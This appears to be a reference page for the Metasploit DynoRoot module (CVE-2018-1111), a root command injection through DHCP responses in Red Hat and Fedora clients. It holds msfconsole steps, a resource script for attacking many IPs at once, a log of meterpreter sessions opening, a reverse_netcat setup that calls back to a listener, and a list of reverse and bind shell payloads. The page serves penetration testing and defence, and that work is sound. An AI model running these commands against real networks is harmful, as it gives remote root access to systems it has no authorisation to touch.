DHCP Client Command Injection (DynoRoot) - Metasploit

This page contains detailed information about how to use the exploit/unix/dhcp/rhel_dhcp_client_command_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: DHCP Client Command Injection (DynoRoot)
Module: exploit/unix/dhcp/rhel_dhcp_client_command_injection
Source code: modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb
Disclosure date: 2018-05-15
Last modification time: 2021-01-29 17:59:14 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-1111

This module is also known as DynoRoot.

This module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.

Module Ranking and Traits

Module Ranking:

• excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using rhel_dhcp_client_command_injection against a single host

Normally, you can use exploit/unix/dhcp/rhel_dhcp_client_command_injection this way:

msf > use exploit/unix/dhcp/rhel_dhcp_client_command_injection
msf exploit(rhel_dhcp_client_command_injection) > show targets
    ... a list of targets ...
msf exploit(rhel_dhcp_client_command_injection) > set TARGET target-id
msf exploit(rhel_dhcp_client_command_injection) > show options
    ... show and set options ...
msf exploit(rhel_dhcp_client_command_injection) > exploit

Using rhel_dhcp_client_command_injection against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your rhel_dhcp_client_command_injection will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/dhcp/rhel_dhcp_client_command_injection")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

• SRVHOST: The IP of the DHCP server

• NETMASK: The netmask of the local subnet

Knowledge Base

use exploit/unix/dhcp/rhel_dhcp_client_command_injection
set SRVHOST 192.168.41.129
set NETMASK 255.255.255.0
set PAYLOAD cmd/unix/reverse_netcat
set LHOST 192.168.41.2
set LPORT 1337
exploit -j -z

Go back to menu.

Msfconsole Usage

Here is how the unix/dhcp/rhel_dhcp_client_command_injection exploit module looks in the msfconsole:

msf6 > use exploit/unix/dhcp/rhel_dhcp_client_command_injection

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show info

       Name: DHCP Client Command Injection (DynoRoot)
     Module: exploit/unix/dhcp/rhel_dhcp_client_command_injection
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-05-15

Provided by:
  Felix Wilhelm
  Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  BROADCAST                     no        The broadcast address to send to
  DHCPIPEND                     no        The last IP to give out
  DHCPIPSTART                   no        The first IP to give out
  DNSSERVER                     no        The DNS server IP address
  HOSTSTART                     no        The optional host integer counter
  NETMASK                       yes       The netmask of the local subnet
  ROUTER                        no        The router IP address
  SRVHOST                       yes       The IP of the DHCP server

Payload information:

Description:
  This module exploits the DynoRoot vulnerability, a flaw in how the 
  NetworkManager integration script included in the DHCP client in Red 
  Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP 
  options. A malicious DHCP server, or an attacker on the local 
  network able to spoof DHCP responses, could use this flaw to execute 
  arbitrary commands with root privileges on systems using 
  NetworkManager and configured to obtain network configuration using 
  the DHCP protocol.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-1111
  https://www.exploit-db.com/exploits/44652
  https://github.com/kkirsche/CVE-2018-1111
  https://twitter.com/_fel1x/status/996388421273882626?lang=en
  https://access.redhat.com/security/vulnerabilities/3442151
  https://dynoroot.ninja/
  https://nvd.nist.gov/vuln/detail/CVE-2018-1111
  https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111

Also known as:
  DynoRoot

Module Options

This is a complete list of options available in the unix/dhcp/rhel_dhcp_client_command_injection exploit:

msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show options

Module options (exploit/unix/dhcp/rhel_dhcp_client_command_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   BROADCAST                     no        The broadcast address to send to
   DHCPIPEND                     no        The last IP to give out
   DHCPIPSTART                   no        The first IP to give out
   DNSSERVER                     no        The DNS server IP address
   HOSTSTART                     no        The optional host integer counter
   NETMASK                       yes       The netmask of the local subnet
   ROUTER                        no        The router IP address
   SRVHOST                       yes       The IP of the DHCP server

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Advanced Options

Here is a complete list of advanced options supported by the unix/dhcp/rhel_dhcp_client_command_injection exploit:

msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show advanced

Module advanced options (exploit/unix/dhcp/rhel_dhcp_client_command_injection):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/dhcp/rhel_dhcp_client_command_injection module can exploit:

msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Target

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/dhcp/rhel_dhcp_client_command_injection exploit:

msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   16  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   17  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   18  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   19  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   20  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   21  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   22  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   23  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   24  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   25  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   26  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   27  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   28  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   29  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   30  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   31  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   32  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   33  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   34  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   35  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   36  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   37  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   38  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   39  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   40  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   41  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   42  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   43  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   44  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   45  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   46  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   47  payload/generic/custom                                       normal  No     Custom Payload
   48  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   49  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the unix/dhcp/rhel_dhcp_client_command_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/dhcp/rhel_dhcp_client_command_injection) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Related Pull Requests

• #14733 Merged Pull Request: Add latest Rubocop rules
• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #10570 Merged Pull Request: AKA Metadata Refactor
• #10059 Merged Pull Request: Add CVE-2018-1111 exploit

References

• CVE-2018-1111
• EDB-44652
• https://github.com/kkirsche/CVE-2018-1111
• https://twitter.com/_fel1x/status/996388421273882626?lang=en
• https://access.redhat.com/security/vulnerabilities/3442151
• https://dynoroot.ninja/
• https://nvd.nist.gov/vuln/detail/CVE-2018-1111
• https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111

See Also

Check also the following modules related to this module:

• exploit/unix/dhcp/bash_environment
• auxiliary/dos/dhcp/isc_dhcpd_clientid
• auxiliary/server/dhcp
• exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
• exploit/unix/http/pihole_dhcp_mac_exec
• auxiliary/client/hwbridge/connect
• auxiliary/client/iec104/iec104
• auxiliary/client/mms/send_mms
• auxiliary/client/sms/send_text
• auxiliary/client/smtp/emailer
• auxiliary/client/telegram/send_message
• exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
• exploit/unix/fileformat/metasploit_libnotify_cmd_injection
• exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
• exploit/unix/http/pfsense_graph_injection_exec
• exploit/unix/webapp/ajenti_auth_username_cmd_injection
• exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
• exploit/unix/webapp/opennetadmin_ping_cmd_injection
• exploit/multi/http/git_client_command_exec
• exploit/windows/browser/wellintech_kingscada_kxclientdownload
• exploit/windows/fileformat/bpftp_client_bps_bof
• exploit/windows/ftp/trellian_client_pasv
• exploit/windows/ftp/xftp_client_pwd
• exploit/windows/ftp/xlink_client
• exploit/windows/http/mdaemon_worldclient_form2raw
• exploit/windows/local/gog_galaxyclientservice_privesc
• exploit/windows/local/ms15_051_client_copy_image
• exploit/windows/local/novell_client_nicm
• exploit/windows/local/novell_client_nwfs
• exploit/windows/local/srclient_dll_hijacking
• exploit/windows/novell/groupwisemessenger_client
• exploit/windows/oracle/client_system_analyzer_upload
• exploit/windows/smtp/sysgauge_client_bof
• exploit/windows/vnc/realvnc_client
• exploit/windows/vnc/ultravnc_client

Related Nessus plugins:

• CentOS 7 : dhcp (CESA-2018:1453)
• CentOS 6 : dhcp (CESA-2018:1454)
• Fedora 27 : 12:dhcp (2018-36058ed9f2)
• Oracle Linux 7 : dhcp (ELSA-2018-1453)
• Oracle Linux 6 : dhcp (ELSA-2018-1454)
• OracleVM 3.3 / 3.4 : dhcp (OVMSA-2018-0042)
• RHEL 7 : dhcp (RHSA-2018:1453)
• RHEL 6 : dhcp (RHSA-2018:1454)
• RHEL 7 : dhcp (RHSA-2018:1455)
• RHEL 7 : dhcp (RHSA-2018:1456)

Authors

• Felix Wilhelm
• Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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